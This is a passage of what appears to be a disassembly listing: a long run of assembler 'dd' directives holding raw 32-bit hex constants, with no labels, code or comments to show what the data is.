		dd 0F01F66F4h, 51A9B8h,	0C82FA1D9h, 1436C169h, 88813B01h
		dd 0CDC5035Dh, 8AB2F440h, 0EDDC0041h, 24471895h, 7300D0F1h
		dd 5BC477EBh, 875720h, 5412F471h, 56F535E5h, 4F5F6300h
		dd 219555EEh, 7A160092h, 0B9310649h, 5C00AC67h,	8B81802Ah
		dd 0D773F6h, 9583709Fh,	44B434C5h, 8063F03Bh, 82999188h
		dd 395533h, 0BC37208Ah,	9018E092h, 0C72B5100h, 0A7D42E26h
		dd 7CFF0048h, 0D3B0BF0Eh, 1C003F44h, 2BDF4390h,	3ACD92F4h
		dd 5D00FA95h, 0A8CCC0D8h, 0DD012C8Fh, 85B5A05Ah, 0A2D0F522h
		dd 4E2400E3h, 80BE47E4h, 0B00778FAh, 0A1C0F6B3h, 0CFA052A0h
		dd 64FC0E5Ch, 0F24E0938h, 0B235EA60h, 7DF874E2h, 0D5DEC500h
		dd 67F03F81h, 4AF644h, 913E51C2h, 923A2D48h, 0C7427800h
		dd 0F52CF4FFh, 0E798001Bh, 95ECD963h, 0B0000112h, 5710A0C9h
		dd 0CA6FCDh, 0B345B864h, 0C74A5A69h, 77A2114h, 3B461EDCh
		dd 622BD040h, 0E1FC63h,	0EBDBF56h, 97DF8CADh, 0A474420Eh
		dd 648920DDh, 7B19ABh, 0B4EBE83Ah, 7E073F84h, 0EC18A77Fh
		dd 0FC108520h, 0C6E700A0h, 1FD9628Bh, 0E100A24Ah, 356D7343h
		dd 1591DFDh, 0CAC82846h, 0DCC163A6h, 0AB1C030Ch, 0FBF966h
		dd 49A51E3Dh, 617C8B60h, 91FDA8CEh, 0EE3980FEh,	3C120467h
		dd 0F90B0044h, 0B89E3A92h, 0A5001C5Bh, 0C9D4D97Ah, 3C76D83h
		dd 9FCB8418h, 6031DF63h, 0E8C5F816h, 0B5FC080h,	25616AF1h
		dd 433DAB0Fh, 0C7E1C0FCh, 18BCD11Ch, 30841FC1h,	2118DDB1h
		dd 0DF40175Ch, 445B5057h, 0A090CF6h, 4768CA6Dh,	0A5BAB700h
		dd 0F0CB5ECFh, 19640031h
		dd 394A4108h, 0FD007917h, 5371D1C8h, 0C9DDD3h, 0F0E4F58Ch
		dd 1235103Eh, 79A03F00h, 0C20AA32Bh, 6D76B5h, 91E143DAh
		dd 740213EDh, 0D8E01054h, 0D3736500h, 0C76F29A8h, 413C0355h
		dd 47BCBF99h, 69BE4FE0h, 75D2041Fh, 7A49AB00h, 2FB239h
		dd 9E998410h, 2B922024h, 1FA8F601h, 413E440Ah, 5581E880h
		dd 0A55BB9F1h, 5092C300h, 0BFE59046h, 0E1120860h, 0DC079F33h
		dd 28BD5F39h, 0D61175E5h, 36DF1042h, 85CC80A6h,	143B51CAh
		dd 2828FE14h, 0F97114FBh, 0E5089789h, 63075944h, 0F8A179B5h
		dd 1FD32922h, 0D4BC30h,	77A70214h, 0DF008AD7h, 0A4E81AABh
		dd 0B4D8E0h, 0C9CEBA60h, 0A246CAD5h, 3114BD2Eh,	0B0C26D05h
		dd 777DB3C0h, 8B7C00DEh, 0AB8C0D30h, 8900E907h,	47366658h
		dd 911FF1h, 0E833C835h,	0E9C52D18h, 0BBF2FCF9h,	280FEF90h
		dd 479BA701h, 7B60C1D0h, 0C3E92h, 3B5A7F20h, 0DE048AE0h
		dd 4B64B300h, 1A2DFBCFh, 29775C35h, 0A3452400h,	7D16C89Fh
		dd 0C9515000h, 3E486218h, 9C0C0003h, 90779224h,	0B007020h
		dd 0D5481F4h, 334A411h,	309E609Fh, 0BAD82F12h, 663B4E99h
		dd 14DB80A0h, 7CE45B15h, 81800F1h, 0D667270Eh, 0DD01EEB4h
		dd 31955322h, 30212526h, 977120h, 3867FDCCh, 12014450h
		dd 0EAC2213h, 0E0AB280Eh, 0A5E398C4h, 493300E7h, 146D4FECh
		dd 2807EA73h, 0CFD8EEDAh, 0E0DC61A0h, 90A800D1h, 0B61D9552h
		dd 83007141h, 0BE6FAF76h, 0B5C9FFh, 70BAAD7Ah, 738A8D06h
		dd 1D21CC00h, 0CF3A05DDh, 14A001B6h, 0B182BF5Ch, 136AD017h
		dd 48E2000h, 0F009E815h, 5F66034Fh, 0D33A8C30h,	44605B98h
		dd 0E058EB00h, 0C215737Bh, 0F3A003D6h, 0CCC55D71h, 30630599h
		dd 167EC034h, 9CF99124h, 197209h, 0BF61E524h, 0CDAF0384h
		dd 1A96FEF8h, 0F942E9A0h, 0E78C401h, 0C66DF31Fh, 3A7FAB60h
		dd 7FB2D1h, 7C6A038Ah, 4EBC521Dh, 62C94624h, 0F92DF401h
		dd 79FC68A1h, 3F8A0315h, 3D918B99h, 4E959013h, 7B697400h
		dd 81E038h, 0EF5BB25Ah,	0AED28A46h, 99074BE0h, 47AC742Fh
		dd 1C07BA90h, 0A9750027h, 0CA646C17h, 0AA00DC1Dh, 0F4A1E31Fh
		dd 35BF37h, 77A831ABh, 99DEEA2Eh, 0E8DF8500h, 0EE3A6C41h
		dd 7C9E0072h, 3062169h,	0B2001C7Eh, 95AC0C98h, 7C48FC56h
		dd 917539h, 7261B59Dh, 1888DB47h, 9C19EB00h, 702A7A23h
		dd 9B740097h, 77A2622Dh, 634CA4EFh, 334B0506h, 9AC0528Dh
		dd 5BD509h, 0F4122C11h,	0F05E59A6h, 0D97DC407h,	0BF00EF6h
		dd 2E535Dh, 0EA20626Fh,	6DC41DEBh, 48462413h, 60775000h
		dd 3EE1FFh, 730923D9h, 0E4EEA962h, 3CD34C03h, 0B822786Fh
		dd 0CE20D0h, 0F62C0EF3h, 32C04917h, 103DE00h, 0CDAB308Eh
		dd 0B6E92D3Ch, 0A5003F70h, 0D0C454ADh, 7FB49Ch,	154D97DDh
		dd 42F88756h, 1D8EFB00h, 0E97138EBh, 24089837h,	224AE2Ch
		dd 0D7DB5FFEh, 36804343h, 0F60214BBh, 8464A7C5h, 0E6F88053h
		dd 5C67A3F3h, 0CC0B6A24h, 0A4A39CD1h, 11F04387h, 47007A93h
		dd 0EB3C0622h, 0CE6466h, 29E0D78h, 0EA8BE9D6h, 3F820106h
		dd 113A37h, 0C62FFE4Dh,	0EA64E93h, 7871391Eh, 0A1967A00h
		dd 2019D5h, 0B33CF7Bh, 50994455h, 18CE5F02h, 0E0BF8E63h
		dd 439190h, 23D8B801h, 0ADDED949h, 0FCF16E1Ch, 56A5D6C1h
		dd 9FC0EC2Eh, 0CA12040Eh, 0C72DF6FEh, 0FF2B10EBh, 7F1CCEAAh
		dd 0E3C017E0h, 0EC826087h, 83D23F5Ah, 0A3262F80h, 15A68B0Eh
		dd 0C786CB00h, 706B077Fh, 1A1D3CE8h, 1642BB8Fh,	4E6873A0h
		dd 2F00E1B5h, 3FE3B927h, 1E766CC3h, 0C02969CDh,	1EF989DCh
		dd 0CF00BB66h, 4B87D405h, 3468BAh, 85D6773Ah, 2BCB366Fh
		dd 20D24D60h, 0F8C67Ah,	4CDB3E28h, 870CB3FBh, 0CA76AF3Fh
		dd 69093800h, 0E4970CDh, 0A9679005h, 8F1FA700h,	0A878BFD8h
		dd 0F04DE700h, 3B2FC912h, 51F4CBh, 0B26940D2h, 95B37544h
		dd 115F6700h, 85EA8860h, 517E33h, 0AA38FB25h, 0A8C3652Bh
		dd 217258C0h, 0C06E7CE6h, 8513E569h, 9A008D17h,	0DD395775h
		dd 3F7C688h, 5FAB32E1h,	0ADD24C67h, 47A6F080h, 0E92E4EE4h
		dd 59002587h, 0EB6497E6h, 65782Ch, 0F35375DAh, 7D7E0E23h
		dd 261CE300h, 0A1527BFCh, 34B500D7h, 0C8BB8F2h,	0A707EBE7h
		dd 0EAFDE968h, 0BA784B40h, 0EEF904B9h, 822E3B6Ch, 44C0F550h
		dd 84008A47h, 0CFFAFF5Eh, 5897AD32h, 310019E6h,	0E7D7C9Bh
		dd 37006F3Dh, 8C87EBA1h, 6C2269h, 30C74DD4h, 65AFF7A9h
		dd 0E70A9F0Ah, 1F39BCE6h, 82121A75h, 0F2E488h, 0CDBD4E70h
		dd 0B06E63ACh, 809B5E3Ah, 17CFDA6Ch, 0FF8A28h, 7A030112h
		dd 0B2704409h, 6D213A02h, 0C059A7FCh, 13839A8h,	0A1EAD8C5h
		dd 0ECE98382h, 0E300188Bh, 3079A3A2h, 252ACAD2h, 30045FA8h
		dd 5AEDC247h, 39C0B0E2h, 98905B2Bh, 89728726h, 6F21C900h
		dd 2D9D5C6h, 7E73A432h,	0C44B3D7Bh, 0E8241799h,	0B603C0A0h
		dd 0A4967FCCh, 0ACC19C01h, 49EC03C4h, 3A75C2h, 91A26539h
		dd 98612BA0h, 17F8BD00h, 0EC1A92FCh, 547B0019h,	2BC2CCB1h
		dd 0B200E6DFh, 73312C7Fh, 3004E9h, 0CD32C650h, 8D655CA1h
		dd 87007074h, 0E405EAEFh, 1E55C8F4h, 2362FA4h, 59DCC107h
		dd 0EB83C3E0h, 10B8AB06h, 0E829C4h, 0BD3B1984h,	0FC80DD38h
		dd 26E56B00h, 8544CFCAh, 91F70009h, 15B35411h, 66013F4Ch
		dd 9BFE0AA6h, 0D46083C6h, 240F1DEAh, 12241C3h, 70ED9857h
		dd 6A009D9Ch, 8F342A3h,	24BD8BFAh, 0A8781E4Eh, 0E630085h
		dd 4DEF3148h, 33E4303Fh, 24502E06h, 0CE87F8h, 65B340CDh
		dd 8B0119BBh, 0EBF4AA00h, 0C5487D81h, 51630031h, 33C33D03h
		dd 2A005691h, 0C6837B73h, 0E6F462Bh, 0A3BE081Eh, 3C914FC0h
		dd 0AA159920h, 4CF86E9Eh, 59E115BCh, 9758F8h, 0C24C362h
		dd 14B2B5h, 0CC2AC804h,	4463E60Ah, 5901BC77h, 0D99C4D64h
		dd 0C6D07F1Eh, 71830050h, 732D8735h, 0A0000420h, 3BCEFC48h
		dd 16275E05h, 0E03F97Ah, 0C583ADB4h, 66B8025Dh,	880013FCh
		dd 0F52D3947h, 0BEB579h, 6FF0CC54h, 0CF48556Dh,	0EDA6E100h
		dd 355CE643h, 579200EFh, 31C6844Bh, 37950DFh, 0D0F23214h
		dd 284C0BB9h, 5A007D6Dh, 644785FDh, 3AC68A01h, 0D378728Fh
		dd 8D00202Ch, 0D23D876Bh, 0B0E4990h, 0E3B950E1h, 897DFEBFh
		dd 0EC20A37Ch, 565501B3h, 9CF7027Fh, 5482C4E4h,	5E075C00h
		dd 0B1C6CE6Fh, 811B0B4Dh, 0F0809324h, 0D292DECDh, 57C7B701h
		dd 8023AF16h, 502696D0h, 955BC04h, 0A632ABD0h, 19919C20h
		dd 0BB1F6F83h, 294066F4h, 0AD7693A4h, 40F50056h, 0A9390227h
		dd 8C2CDD57h, 0EE025468h, 0C06B7DCBh, 269CC218h, 0E82547h
		dd 48F812ECh, 7F00E84Ah, 0C728B069h, 7F02EBB9h,	6637002Ch
		dd 5FE03B0Ah, 880059A1h, 64A0971h, 52186Ah, 3D010E07h
		dd 2AF3CF2Bh, 8CED3B07h, 9C6AB247h, 0DE68C38h, 0A552C0h
		dd 95447004h, 0AE720BD6h, 95CED4Ch, 852FCC97h, 3380EB4Ch
		dd 1EB5E9E3h, 9EF13F0Eh, 0CB3A819Dh, 0F3FE604Dh, 0C99C2A40h
		dd 689C4D90h, 76686260h, 64070015h, 243F7E90h, 0E400D478h
		dd 3A20DBD6h, 213F7h, 0EA9CF41h, 9045D822h, 0B79A5612h
		dd 0E0136C82h, 2EDE4054h, 302CE135h, 0DAE815DEh, 367511C3h
		dd 5C1EC0A8h, 0BC3C00BAh, 5101F1DBh, 441F0266h,	6900B2E9h
		dd 0B61E9707h, 79FD004Ch, 0DA150C5Dh, 0A2076A2Ah, 2CF7168Bh
		dd 6457A09Eh, 1DCD6EB8h
		dd 0C5DE7EA5h, 0FEA82225h, 0BAD682C0h, 5AE4033Dh, 0F11E83Bh
		dd 0C8FB85D1h, 494E1672h, 71B7D400h, 0C7A255h, 0E03C6418h
		dd 22CAA5C4h, 0E3E20800h, 607EB896h, 3DB2A021h,	780A3EA8h
		dd 4057E013h, 8472DC30h, 68009BB7h, 4B14690Ch, 7B0ECD4h
		dd 48E244C6h, 0D66F3FFFh, 0F2B7A7A0h, 0A009527Ch, 0F094F7h
		dd 0FCEA3C3Ch, 4C140A11h, 0C12CE3h, 0B9983955h,	65076979h
		dd 0F18B13C5h, 60AF2FE7h, 5F71AED1h, 0A4750227h, 4D96B45Ch
		dd 0C47CFCE0h, 3AA11B08h, 9FC501AEh, 0D88141F2h, 40985E72h
		dd 2B105B00h, 0B24B9435h, 0DF6F00D0h, 0D1C3FE9Bh, 130567BBh
		dd 6C395E52h, 0EEE50C80h, 8B110086h, 66C6E168h,	0D504D9F3h
		dd 7D02F957h, 0E425B482h, 1D88B84Ch, 0B1A8EEh, 730C1436h
		dd 0F900D680h, 70CE02EAh, 1D10B6ECh, 2E93322Fh,	71636h
		dd 0BCCD21A4h, 7CF45AC8h, 4107EF90h, 53BE227Dh,	73E3BD00h
		dd 52CE006Dh, 611F26Ah,	0AD00505Dh, 0D68C97BEh,	31CE103h
		dd 339008B3h, 0B79871FBh, 23790109h, 2A3A6800h,	80D2DB88h
		dd 324B018Ah, 6643D8F4h, 0BEB1405Ch, 6800E31Ch,	0D0B83D93h
		dd 89CFFEh, 0C0E816EEh,	8D10CA67h, 0F540F000h, 433ADA1Ah
		dd 0CB060191h, 27AE2EEBh, 1FBAFCFAh, 4EB71E00h,	8FFDE5DBh
		dd 55370F67h, 48E3D55Bh, 0A8F4840Eh, 4CCB03F1h,	0B0BEA634h
		dd 77D710AAh, 0AD8F07C9h, 0E07329F4h, 0E7B0FBD3h, 3594DC00h
		dd 5B1C9D2Dh, 0EF7576h,	1A5546Eh, 0CB0B7844h, 0D4A15600h
		dd 2E2A14F1h, 92204877h, 0F9E2B31h, 0EC90F128h,	0C60013A1h
		dd 7003169Eh, 577A7Fh, 0A8E6A002h, 5A828976h, 0EE4D1B00h
		dd 28568D3Ch, 844203EBh, 7CD0A8FDh, 0D61CEDF0h,	68773800h
		dd 0D32D4EDFh, 0F956071Fh, 52F2C85Bh, 0C24397FAh, 0C1D451DFh
		dd 9CF93085h, 0D098BA50h, 0D700A8F0h, 0D5C7E51Dh, 3DA4DC7Eh
		dd 6E0003BCh, 0DF2F8727h, 34031894h, 1F78853Dh,	0A157A048h
		dd 0D47AAFh, 0D241E7Ch,	0AB633243h, 0D96B2200h,	75493ED7h
		dd 0C17003Ah, 41054C70h, 0A5395627h, 9DD00074h,	0DC94C7B6h
		dd 1B3D01F0h, 390840C2h, 6C8BC4D8h, 24343300h, 0CF9E02E9h
		dd 49B4000Ah, 616696E2h, 0AC2656F5h, 0E011AADh,	5A01FB2Bh
		dd 826CD8h, 445C4216h, 99E1BA67h, 46618A00h, 3585CD08h
		dd 97CF01C6h, 0A63B3EEFh, 0DD80E342h, 452E04F5h, 170068A1h
		dd 3FD79B02h, 7C80083h,	391222FAh, 0D000BB82h, 0F67C727h
		dd 3D28F19Ah, 7D003D69h, 0A2EFD24Ch, 0B800A823h, 0DA0FFCBh
		dd 8E47CFh, 697A6B3h, 0F7ECAAB5h, 0A47B3600h, 45402A64h
		dd 0F46F001Ah, 250DE582h, 1E050319h, 479E1159h,	88052D80h
		dd 0C9650F60h, 4DE0E9F1h, 0E67E3E90h, 3D9C5400h, 0ED400DD5h
		dd 0C2660044h, 6901D8ACh, 0C7010376h, 9A216F75h, 45E02DC0h
		dd 7B02008Bh, 7DF1DE1Ch, 5FF03970h, 19373301h, 6BB61F47h
		dd 4228FCh, 1718D4D3h, 7877D5CCh, 0C5109900h, 3ED615BDh
		dd 9B270089h, 62F8BFA4h, 0D4004624h, 7C417298h,	3ED3BD96h
		dd 438A2C61h, 0A5852Eh,	54CFCA18h, 8004664Bh, 7690F9F4h
		dd 69462880h, 0CDC03C2h, 44EF0B45h, 47D55DB0h, 0F30ECF00h
		dd 57B1B4A8h, 0F2E6C2h,	9D4FA235h, 0B5F830DCh, 0CF006890h
		dd 2E877AB4h, 359F72h, 594BC66Eh, 0B7916831h, 50C3AA00h
		dd 9E79665Eh, 3F741860h, 0AC7B104Bh, 54A3190Eh,	85366065h
		dd 0BC1C3Ch, 5F05FF7Fh,	0C2895397h, 0A209E474h,	8FED75E3h
		dd 506D8444h, 0D985DDC3h, 0E2FCC219h, 14C8C317h, 99031F09h
		dd 0D58A2F7Ah, 0C16C097h, 4CAD1DC3h, 1EB10363h,	11E69828h
		dd 0B20A81Fh, 5414E3C1h, 16F08B2Dh, 0F87C1D7Ah,	0CEE81E7h
		dd 407D13E4h, 0AE535BD0h, 5593FB01h, 2D7B8BF1h,	27793441h
		dd 3C14A20h, 6EF548C8h,	29601FA4h, 0DFE458D0h, 0BE64A0EAh
		dd 0F5100762h, 910819EDh, 507A74E3h, 2B5AC28h, 0D2FF6301h
		dd 1DE4C6F0h, 0E121C4h,	0FEC7B448h, 5D61E680h, 26006B75h
		dd 82846F8Dh, 708EBDAFh, 0DACC0351h, 30DDF3CDh,	8C347C80h
		dd 33B87203h, 418B83A2h, 40A9869h, 41C309FFh, 36C6822Fh
		dd 99F8A07Ah, 3FFBF16Fh, 4C80DDE8h, 0B0222D6h, 330CA5C0h
		dd 28AC3786h, 7173442Fh, 447F4044h, 2544620Fh, 0D5754421h
		dd 0EE4F1920h, 38CE8808h, 89539288h, 44D008C9h,	29880A1Ch
		dd 9F630053h, 55D8256Dh, 117BE1C9h, 0F5F06403h,	0B067Eh
		dd 9B6D1754h, 13D9BFE9h, 195D050Bh, 0C74047Ah, 0B58FD6C0h
		dd 0E9A900F2h, 0EE36C745h, 0C900E720h, 236A44B3h, 13BB70D9h
		dd 471472h, 4F6E2AB0h, 0C600B3E9h, 2811A132h, 0DCFF8Dh
		dd 15142208h, 55D7F289h, 3B297C00h, 29A0325h, 0FD3C0056h
		dd 0C91D4BE7h, 6600C15Dh, 547228F6h, 9095C8DBh,	0D48F0058h
		dd 0A5290C4Eh, 0B817FF17h, 0C01E873h, 91546C51h, 0A471E0h
		dd 13895B5Ch, 0EC1C0780h, 0CBD94C0Eh, 8F3C3D66h, 2BF65C88h
		dd 87807750h, 720970D1h, 74894400h, 0AD5A2176h,	3F637AC5h
		dd 510042C2h, 17DD6730h, 8DF82241h, 0F4967B00h,	42E9135Fh
		dd 0F223003Dh, 694B9DE1h, 544CBA1Bh, 80D40A64h,	51408C49h
		dd 4DBBA856h, 0C500887Dh, 0E8FA934Ch, 0E40F5DEDh, 0B6AAB19h
		dd 0EA48002Ch, 8BC588h,	6C960A43h, 0F567FF53h, 1B9C7D1Dh
		dd 57A41682h, 2AB490B0h, 0C4F700F8h, 0A8ECAB14h, 0C8793D0Dh
		dd 0B97E5600h, 47F0345Bh, 53FA1Eh, 0CA374821h, 0FF7BD99Ah
		dd 422DC507h, 47804F68h, 3AF0387Fh, 0D580D87Eh,	8CBD23DAh
		dd 461E6320h, 0D2091987h, 478C00CDh, 0E7E337h, 0D5B88609h
		dd 0A9AC9D95h, 0A6A30305h, 0E4C0989Ah, 782F07ABh, 62B00E2h
		dd 16F8C75Ah, 671226D0h, 7C004303h, 9465B814h, 0A324011Ah
		dd 6080B023h, 73E860FEh, 7EC22A3Bh, 0E9785400h,	0B0203F08h
		dd 970E077Ah, 42FBDh, 0DA5ECA0h, 3425D800h, 32FEF6F5h
		dd 0B0A1012Eh, 0BD2B2AF0h, 6CEC7064h, 0C467220Bh, 9F688069h
		dd 3EF97C61h, 0A68002D1h, 8B931403h, 190E5A17h,	0A8DBCCh
		dd 0C84F4CD0h, 0A41C0091h, 0E10C382Bh, 98007FEFh, 0FDC7C5FCh
		dd 32019EBh, 2803A17Eh,	7A0F5A27h, 6243EE3Eh, 0E82FEBD3h
		dd 5CBE8684h, 0A000E50Bh, 6A08849Bh, 74073B9Ch,	585B2EE3h
		dd 0B5DE0190h, 0D59200C7h, 12481583h, 0E600714Dh, 0F5E2A895h
		dd 0D7D643h, 7C5F20Ah, 59158A64h, 0A376A100h, 8095E7C6h
		dd 0D605005Ah, 8D77DBFh, 0F0754ECh, 87648C66h, 0B9340029h
		dd 1D85C0C7h, 405D65B7h, 0D9316661h, 0D0075581h, 0DD041C90h
		dd 0D1B8ED21h, 31701080h, 0CB7A5B06h, 6269C32Ch, 6A8F6B00h
		dd 60291BEEh, 10A729C8h, 2F002D65h, 2A0F363Bh, 0E4DE70h
		dd 18164AB6h, 3F939FA4h, 87774200h, 0FC116D8Bh,	95020954h
		dd 98006B16h, 9884D5AEh, 0B7650B0Fh, 0ADABC0C7h, 905DB834h
		dd 7D9500B0h, 0BC297683h, 0C67C4231h, 9E209303h, 0B8C4CAC9h
		dd 0AF25Fh, 24573472h, 0AECFD2F4h, 4DB88078h, 2AD1CD00h
		dd 69C282E7h, 0B87A00F6h, 0BCEE390Dh, 0AA00E65Ch, 0CB036480h
		dd 2DE077Eh, 489181F0h,	0CE802A20h, 2E23BE05h, 5A84DF00h
		dd 0F6FAAACCh, 8F620088h, 68115653h, 2C00CF05h,	49A99640h
		dd 14B69450h, 0F6647AA2h, 0EEB01B00h, 7C460960h, 22F3D801h
		dd 781E0DB9h, 5A8B30h, 0D66FC5BAh, 8FD5CD70h, 4E00A677h
		dd 921CC10Fh, 9056AAh, 0DEC888BEh, 5E61FEFFh, 628768C0h
		dd 12425AB6h, 0CE51E2h
		dd 0BEAC77BBh, 8C1D209Fh, 0F6668A91h, 1AA1B403h, 1D8090A0h
		dd 1CD10052h, 42D6CE30h, 0B8007732h, 0F77162B9h, 262A16C5h
		dd 4D63FAh, 0DBC1F12h, 0A50056ECh, 5FA9B46Eh, 2860C18h
		dd 5A614FF4h, 0B5E0AF6Dh, 43004A70h, 0A630B4CDh, 0F8553B9Eh
		dd 569D036Ah, 0BFA874E6h, 2ADEE2D0h, 5CB46400h,	51B92710h
		dd 80FF0BAEh, 0C8039037h, 1A99A266h, 0A15EF46Ch, 47FC5D00h
		dd 50BE7219h, 0AEC5Fh, 1A1CB78Eh, 9DC4591Bh, 836EB51Ch
		dd 0D766807Eh, 0CD68AB12h, 0B2EA47h, 0F913FEE9h, 6BEF1EB8h
		dd 8FF1800h, 0F6CA14A1h, 59070040h, 0FC485599h,	4F07D2C9h
		dd 0BF12BA30h, 431D77D0h, 0B2E900A4h, 916EADA1h, 3A30C098h
		dd 73296A68h, 0D192006Ah, 7C9F0927h, 3E78A196h,	0D4A93F01h
		dd 3D8C05F4h, 0CC8BB080h, 41F1EF14h, 7D50BD98h,	10000797h
		dd 5D5AED46h, 3EC1694h,	0B83FBC6Fh, 2AC80D4Ah, 8B26DC66h
		dd 5F002CC4h, 12EAEBCEh, 0A9376BAh, 0ECF5154Dh,	329E01AFh
		dd 60B6E78Bh, 26C0058Ch, 160BEE42h, 0F76F009Bh,	3BCB3F17h
		dd 4C70F6DCh, 0B63C6D00h, 5823ABEBh, 0B2F73CE9h, 9ACCBC00h
		dd 0C7FCD870h, 0D5043300h, 497D2FD7h, 0BBDD002Ch, 0FD75AEA3h
		dd 5348ED0Ch, 51E80043h, 523B8A80h, 13C01EFCh, 0C45C03D2h
		dd 0E3C82F47h, 91000D99h, 0AE1A240Ah, 0B55FECh,	0EF8A5A98h
		dd 3BC1B0E5h, 0A0695C26h, 5EC21C3Eh, 44658980h,	15FFA21h
		dd 0BC1D7E57h, 0F8B85503h, 3906330Bh, 1F1C72FEh, 0E4BF0718h
		dd 478542EEh, 1B61E02Eh, 0A102577Ch, 687D23F6h,	0A09078A0h
		dd 0D11E8Fh, 0CEB47010h, 5D78E4E7h, 0D20525h, 3BC448E0h
		dd 489083h, 32772E87h, 713C5139h, 5BAF5C00h, 2AF386ACh
		dd 0B6FC0E26h, 0FB0052C7h, 9E501239h, 0B426C00h, 316BC4D6h
		dd 599032Ah, 34F236CDh,	4BAC39Fh, 11FE1007h, 1580E349h
		dd 1D2C38F1h, 4020EDDBh, 0BCA78725h, 0C800B136h, 0F1FC829Eh
		dd 0A208DF6Ah, 442261F2h, 70FD960h, 26877651h, 886BB0AAh
		dd 34E26771h, 94E2AC01h, 0F8EA6DD9h, 6EBFD880h,	0DA7295CBh
		dd 35010CB4h, 0D2548FD6h, 87FDF7FDh, 8EC2BDDh, 227D3947h
		dd 7EF67283h, 9F9BD754h, 583C9BF0h, 0F85FAC00h,	0A21C9E3Bh
		dd 0C9780023h, 177761C8h, 0BE000852h, 2A5E578Dh, 1D13489h
		dd 6835CC42h, 71235D4Ah, 0B65E3040h, 7765D400h,	0E38D0B94h
		dd 49415h, 0CA6F53D3h, 0E700E1C8h, 8951D816h, 0F29F22D4h
		dd 5B0107FFh, 0F4A93E13h, 0A8BC044h, 0DC1CC2FEh, 6F6E4302h
		dd 35386702h, 4A724031h, 0A83A60DEh, 61870D4Ch,	0DC43CD2Eh
		dd 0C5C61184h, 0E17504D0h, 4E7001DBh, 0F439FC2h, 5FF7ECE2h
		dd 0F3A0AD01h, 1456EF6Ah, 983903E4h, 4ECB0598h,	821517C3h
		dd 0F05893AEh, 0F6D0B501h, 8951F87h, 308F41D8h,	0A3D822CEh
		dd 8C005544h, 6D34115Bh, 5CA2FBh, 4AC90459h, 3CBBC3B9h
		dd 66CD1800h, 20C13384h, 4C22003Fh, 0C565767Dh,	8E582F50h
		dd 48870B75h, 0FDD00039h, 27AA9DEh, 0E506E834h,	70589BCCh
		dd 76D2F800h, 4F1D44BBh, 60E607C4h, 90E1FD25h, 66CC6406h
		dd 0BB1A0200h, 1CED0F15h, 61FF0041h, 73EF82D9h,	7700609Ah
		dd 8150CA8Dh, 2CC51B7Ch, 1E9B610Fh, 68329857h, 0C4B9A08Dh
		dd 4999DD00h, 1EA7B91Bh, 86BD0FE1h, 3C50C37Ah, 0C6CDDB05h
		dd 9A00F99Eh, 703FDDBBh, 0BE3B04EDh, 0C0316273h, 33B985FBh
		dd 4B0214EAh, 0DFC5290Fh, 164E0B1h, 8D1A4C21h, 0BEB48600h
		dd 8CC29C06h, 8E4CC8E6h, 0F8301D8h, 0B03B4E09h,	30E2A360h
		dd 0D7EC1107h, 3DEC3FCEh, 0BC0E650Ch, 7361481Bh, 4AC81D91h
		dd 0E013C156h, 0C8C68195h, 0B700A8B0h, 8A84A99Fh, 0D98714h
		dd 4743407Bh, 81E638FBh, 79503301h, 64DC2010h, 0FD5ECh
		dd 0D2B880C3h, 78745277h, 5FBB5C00h, 248ED92h, 0B43C2516h
		dd 98E0EC10h, 48CEB00h,	2934F049h, 6B6600FFh, 4CF3E973h
		dd 0BF3CFC12h, 40BB0293h, 803C02E0h, 453A9DE0h,	0F6601D1Dh
		dd 80039DCh, 52C9D89Ch,	6F01CDFFh, 4F466C8Ch, 60E6C709h
		dd 60D13Dh, 630EC0A8h, 0FDA658E1h, 527A5400h, 0CE986419h
		dd 0D11B0BB9h, 0F300DD97h, 1C737453h, 2913F37Eh, 7F072D67h
		dd 97E05E0Eh, 3E2DC13h,	514F57B1h, 0E4E00A71h, 7C004DB5h
		dd 0F227DBD2h, 0ED02Dh,	1E182E08h, 79B7109Bh, 8D11B02Eh
		dd 0DFD24500h, 416498h,	90442451h, 40A3BFDBh, 0F4105A01h
		dd 9788D515h, 8994E0h, 75588A4Fh, 0DE543EDh, 29258D18h
		dd 507B28h, 42F00B33h, 0E9488ACAh, 0B5F2B800h, 91F647D8h
		dd 7368007Eh, 546497A0h, 85F2FB65h, 0B500E17Bh,	0E49C7A0Ch
		dd 8C0DA2h, 3E81BF0Eh, 0BB035D7Bh, 6785FA00h, 15807FA0h
		dd 0B8ECE9h, 0EA9B388Ch, 0BA6487E0h, 0C9232500h, 18FAAED6h
		dd 145800A9h, 0D597CA5Fh, 3B00169Bh, 0BCFDE30Fh, 4EA2F8h
		dd 0A66389EDh, 8BE98E06h, 0D0732500h, 75524A18h, 387BC7h
		dd 62BF5493h, 57A4361Ah, 0C3993F00h, 128AC62Fh,	4AE900F4h
		dd 663BDB70h, 6F0A4EEFh, 0CAE775CDh, 4300F917h,	3C766C97h
		dd 2882002Eh, 298CBB3Eh, 1AF09A8Eh, 784ED000h, 1446D596h
		dd 0EBFE876h, 85B4DBA1h, 0E4555740h, 1B09BB17h,	80913C52h
		dd 15BD129Bh, 85EA074Bh, 441608h, 78EF65DBh, 84E8E700h
		dd 0EC267980h, 381D7703h, 30002C2Dh, 37F10131h,	0B7392FE3h
		dd 0DDB00026h, 81A1A01Dh, 609000Dh, 7C6C5270h, 33399AFCh
		dd 0C163803Eh, 9CFB3DA6h, 0A446187Dh, 0C94198B6h, 259B3900h
		dd 2B45ADEDh, 8ACF00AFh, 7EB644DBh, 0F600616Eh,	40AA5604h
		dd 24273F2h, 11DD4D7h, 0FA80ECE5h, 0CCCE0C86h, 273FC600h
		dd 0AE969C70h, 9BDF0022h, 0B2444111h, 75009FBCh, 930DD589h
		dd 3048CFE8h, 0ED2079ADh, 7600A3C9h, 517B5F74h,	23A7E2h
		dd 40AB8C49h, 0FEDB1FA6h, 0B995B600h, 32B7A043h, 64D81807h
		dd 0BB4D887Eh, 4A037AFEh, 2C53D438h, 0E488D8C2h, 5B20005Ah
		dd 0D1580840h, 0DB3BC431h, 28F680E3h, 9388D37h,	0C5A10303h
		dd 0B5936684h, 13943180h, 0BC8FAB00h, 80B9CBF9h, 0C51C0098h
		dd 0ED219A86h, 5500F6F3h, 0E2FD7E60h, 7C800Ch, 5D321392h
		dd 39D9CA26h, 2D58B600h, 0DDB86A2Eh, 589DEE57h,	200C4B5h
		dd 0FCD95A20h, 8B003780h, 94AFB856h, 0BA13508h,	0F9342BC9h
		dd 5F89FFh, 957954DFh, 48B60046h, 0F7FB0489h, 1900F3C0h
		dd 0FE14420Ch, 0F16A8Bh, 744F22Fh, 369ECF83h, 8087DE3Dh
